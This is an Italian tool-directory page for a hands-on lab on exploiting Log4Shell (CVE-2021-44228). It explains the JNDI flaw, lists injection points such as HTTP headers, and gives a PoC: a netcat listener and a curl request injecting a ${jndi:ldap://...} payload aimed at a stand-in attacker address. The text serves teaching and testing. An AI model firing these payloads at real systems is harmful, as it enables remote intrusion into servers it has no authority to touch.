Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Log4j_CVE-2021-44228 — Esercizio di laboratorio pratico per sfruttare Log4Shell (CVE-2021-44228) con iniezione JNDI, server referral LDAP e payload di reverse shell. Include rilevamento, tecniche di bypass e guida post-sfruttamento. | Kitploit
Strumenti/GitHubGitHub/muhammad-ali007/log4j_cve-2021-44228
Analisi delle VulnerabilitàExploitPost-ExploitBypass WAFPenetration TestingCommand and ControlApprendimento e FormazioneSviluppo PayloadLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubmuhammad-ali007/log4j_cve-2021-44228

Log4j_CVE-2021-44228

Esercizio di laboratorio pratico per sfruttare Log4Shell (CVE-2021-44228) con iniezione JNDI, server referral LDAP e payload di reverse shell. Include rilevamento, tecniche di bypass e guida post-sfruttamento.

Vedi Repository
413 anni faNon ancora revisionato

La vulnerabilità Log4j, nota anche come "Log4Shell" o "CVE-2021-44228", è una grave falla di sicurezza nella libreria Apache Log4j. Log4j è un framework di logging ampiamente utilizzato in ambienti Java che consente agli sviluppatori di registrare messaggi dalle applicazioni verso varie destinazioni, come file, database e output di console.

La vulnerabilità è stata scoperta nel dicembre 2021 e ha attirato notevole attenzione a causa della sua gravità e del potenziale sfruttamento. Colpisce le versioni 2.x di Log4j e, in alcuni casi, anche versioni precedenti. La vulnerabilità Log4j è una vulnerabilità di Remote Code Execution (RCE), il che significa che un attaccante può eseguire codice arbitrario su un sistema bersaglio sfruttando la falla. La vulnerabilità è causata da un difetto di progettazione nella libreria Log4j relativo all'elaborazione di messaggi di log contenenti dati appositamente creati.

Lo sfruttamento della vulnerabilità si basa sulla capacità di iniettare codice malevolo nel messaggio di log. Ciò può essere ottenuto attraverso vari vettori, come campi di input controllati dall'utente, header di richieste HTTP o altri dati forniti dall'utente che vengono passati all'istruzione di log.

Quando un'applicazione vulnerabile elabora un messaggio di log contenente i dati appositamente creati, Log4j interpreta i dati come una lookup Java Naming and Directory Interface (JNDI). Sfruttando questo comportamento, un attaccante può creare un payload che attiva una lookup JNDI verso un server malevolo controllato dall'attaccante. Questo server può quindi rispondere con un payload che viene eseguito sul sistema bersaglio, consentendo all'attaccante di ottenere l'esecuzione remota di codice.

L'impatto della vulnerabilità Log4j è grave perché Log4j è ampiamente utilizzato in varie applicazioni basate su Java, inclusi server web, applicazioni e servizi cloud. La vulnerabilità consente agli attaccanti di ottenere accesso non autorizzato ai sistemi compromessi, portando potenzialmente a violazioni dei dati, compromissione del sistema e ulteriore sfruttamento dell'ambiente compromesso.

Oggi è disponibile la versione 2.16.0 di log4j che corregge questa vulnerabilità (JNDI è completamente disabilitato, il supporto per Message Lookups è stato rimosso e la nuova vulnerabilità DoS CVE-2021-45046 non è presente). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

Tuttavia, il pericolo enorme di questa vulnerabilità è dovuto a quanto sia pervasivo il pacchetto di logging. Milioni di applicazioni e fornitori di software utilizzano questo pacchetto come dipendenza nel proprio codice. Mentre potresti essere in grado di correggere il tuo codice che utilizza log4j, altri vendor e produttori dovranno comunque distribuire le proprie patch di sicurezza a valle. Molti ricercatori di sicurezza hanno paragonato questa vulnerabilità a Shellshock per la natura della sua enorme superficie d'attacco. Vedremo questa vulnerabilità per anni a venire.

Per un elenco in continua crescita, supportato dalla community, di software e servizi vulnerabili a CVE-2021-44228, dai un'occhiata a questo repository GitHub (https://github.com/YfryTchsGD/Log4jAttackSurface)

Sebbene esistano molti altri articoli, blog, risorse e materiali di apprendimento su CVE-2021-44228, io (l'autore di questo esercizio) prediligo in particolare questi:

  • https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
  • https://log4shell.huntress.com/
  • https://www.youtube.com/watch?v=7qoPDq41xhQ

Il pacchetto log4j aggiunge logica extra ai log "analizzando" le voci, in definitiva per arricchire i dati — ma può anche eseguire azioni e persino valutare codice basato sui dati delle voci. Questo è il succo di CVE-2021-44228. Altre sintassi potrebbero infatti essere eseguite esattamente come vengono inserite nei file di log. Alcuni esempi di questa sintassi sono:

  • ${sys:os.name}
  • ${sys:user.name}
  • ${log4j:configParentLocation}
  • ${ENV:PATH}
  • ${ENV:HOSTNAME}
  • ${java:version}

Potresti già conoscere il payload generale per abusare di questa vulnerabilità log4j. Il formato della sintassi tipica che sfrutta questa falla è il seguente:

  • ${jndi:ldap://ATTACKERCONTROLLEDHOST}

Questa sintassi indica che log4j invocherà funzionalità da "JNDI", ovvero la "Java Naming and Directory Interface". In definitiva, ciò può essere usato per accedere a risorse esterne, o "references", che è ciò che viene armato in questo attacco.

Nota lo schema "ldap://". Questo indica che il bersaglio contatterà un endpoint (una posizione controllata dall'attaccante, nel caso di questo attacco) tramite il protocollo LDAP. Per brevità, non sarà necessario coprire tutti i dettagli di LDAP qui, ma sappi che è qualcosa con cui dovremo lavorare mentre affiniamo il nostro attacco. Per ora, tieni presente che il bersaglio effettuerà una connessione verso una posizione esterna. Questo è indicato dal segnaposto ATTACKERCONTROLLEDHOST nella sintassi precedente. Tu, nel ruolo dell'attaccante in questo scenario, puoi ospitare un semplice listener per visualizzare questa connessione.

La prossima domanda è: dove potremmo inserire questa sintassi? Ovunque ci siano dati registrati dall'applicazione.

Questo è il cuore della vulnerabilità. Purtroppo, è molto difficile determinare dove sia la superficie d'attacco per diverse applicazioni e, di conseguenza, quali applicazioni siano effettivamente vulnerabili. Il semplice vedere la presenza di file log4j non rivela il numero di versione esatto, né dove o come l'applicazione potrebbe utilizzare il pacchetto.

Altri punti in cui potresti fornire questa sintassi JNDI:

  • Campi di input, moduli di login per utente e password, punti di inserimento dati nelle applicazioni
  • Header HTTP come User-Agent, X-Forwarded-For o altri header personalizzabili
  • Qualsiasi luogo in cui vengono forniti dati dall'utente

Se desideri maggiori informazioni su questo vettore d'attacco JNDI, consulta questa presentazione Black Hat USA del 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

POC

  • Per preparare il tuo ambiente al test della vulnerabilità e alla ricezione di una connessione, visualizza l'indirizzo IP della tua macchina attaccante con il seguente comando: user@host$ ip addr show
  • Prepara un listener netcat su una porta a tua scelta (9999 è un buon esempio): user@host$ nc -lnvp 9999
  • Ora che hai un listener pronto, effettua una richiesta includendo questa sintassi JNDI primitiva come parametro HTTP. Puoi farlo facilmente con l'utilità a riga di comando curl. user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' Nota: a causa dell'uso del carattere dollaro $ nella tua sintassi, devi assicurarti di racchiudere l'URL tra virgolette singole, così che bash (la tua shell a riga di comando) non lo interpreti come una variabile. Inoltre, devi eseguire l'escaping delle parentesi graffe { } con un singolo carattere backslash, così che non vengano interpretate male negli argomenti del comando curl.
  • Verifica di aver ricevuto una connessione vedendo il seguente messaggio nel tuo listener netcat: Connection received from <x.x.x.x>

Exploitation A questo punto hai verificato che il bersaglio è effettivamente vulnerabile vedendo questa connessione catturata dal tuo listener netcat. Tuttavia, ha effettuato una richiesta LDAP... quindi tutto ciò che il tuo listener netcat potrebbe aver visto sono caratteri non stampabili (byte dall'aspetto strano). Ora possiamo costruire su questa base per rispondere con un vero handler LDAP.

Scarica lo strumento